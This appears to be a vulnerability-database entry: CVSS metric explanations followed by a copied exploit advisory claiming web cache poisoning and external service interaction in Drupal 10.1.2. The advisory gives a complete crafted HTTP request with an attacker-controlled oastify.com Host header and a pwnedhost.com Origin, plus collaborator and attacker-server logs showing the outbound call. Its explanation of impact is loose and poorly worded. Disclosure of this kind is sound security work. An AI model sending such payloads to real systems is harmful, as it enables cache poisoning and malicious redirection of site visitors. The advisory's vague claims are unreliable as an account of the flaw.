The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Drupal 10.1.2 Web Cache Poisoning
## Title: drupal-10.1.2 web-cache-poisoning-External-service-interaction
## Author: nu11secur1ty
## Date: 08/30/2023
## Vendor: https://www.drupal.org/
## Software: https://www.drupal.org/download
## Reference: https://portswigger.net/kb/issues/00300210_external-service-interaction-http
## Description:
It is possible to induce the application to perform server-side HTTP
requests to arbitrary domains.
The payload d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com was
submitted in the HTTP Host header.
The application performed an HTTP request to the specified domain. For
the second test, the attacker stored a response
on the server with malicious content. This can be bad for a lot of
users of this system if the attacker spreads a malicious URL
and sends it by email etc. By using a redirect exploit.
STATUS: HIGH-Vulnerability
[+]Exploit:
```GET
GET /drupal/web/?psp4hw87ev=1 HTTP/1.1
Host: d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com
Accept-Encoding: gzip, deflate, psp4hw87ev
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7,
text/psp4hw87ev
Accept-Language: en-US,psp4hw87ev;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111
Safari/537.36 psp4hw87ev
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Origin: https://psp4hw87ev.pwnedhost.com
```
[+]Response from Burpcollaborator server:
```HTTP
HTTP/1.1 200 OK
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Content-Type: text/html
Content-Length: 62
<html><body>zeq5zcbz3x69x9a63ubxidzjlgigmmgifigz</body></html>
```
[+]Response from Attacker server
```HTTP
192.168.100.45 - - [30/Aug/2023 05:52:56] "GET
/drupal/web/rss.xml?psp4hw87ev=1 HTTP/1.1"
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/DRUPAL/2013/drupal-10.1.2)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/08/drupal-1012-web-cache-poisoning.html)
## Time spend:
03:35:00
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